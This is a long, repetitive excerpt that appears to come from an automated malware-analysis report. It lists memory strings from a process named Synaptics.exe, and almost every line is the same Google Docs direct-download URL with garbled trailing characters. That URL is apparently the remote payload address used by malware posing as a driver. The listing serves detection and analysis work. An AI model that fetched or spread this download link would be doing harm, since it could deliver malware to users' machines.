Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeasSzp
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadments-
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmh
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmk
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmnq_/
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmp
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmq
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn&
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.com
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnX
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadname
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncB
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadndic
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadndica
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne:
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnep
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadner
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetleniyor...
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnid
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniver
Source: Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyorn
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnl
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnp
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnts.
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado=
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle:=
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadomh
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonten4;
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogleS$
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadooglem(
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorL
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorZ
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorb
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorig
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2227137753.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpdat
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpires
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadps._
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq%
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqG
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqi;
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr)
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr..
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrF
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrh
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs8
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadruN
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrvice1=
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr~
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2227137753.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads8
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads://)8
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads?
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads_
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadscwl5O
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsx
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadth
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadting
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtname
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtrustxX
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtu.bT
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu8
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduD
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduZ
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaducati
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaducatiZ9
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduk
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurityg%
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurl
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadve
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005399000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw$
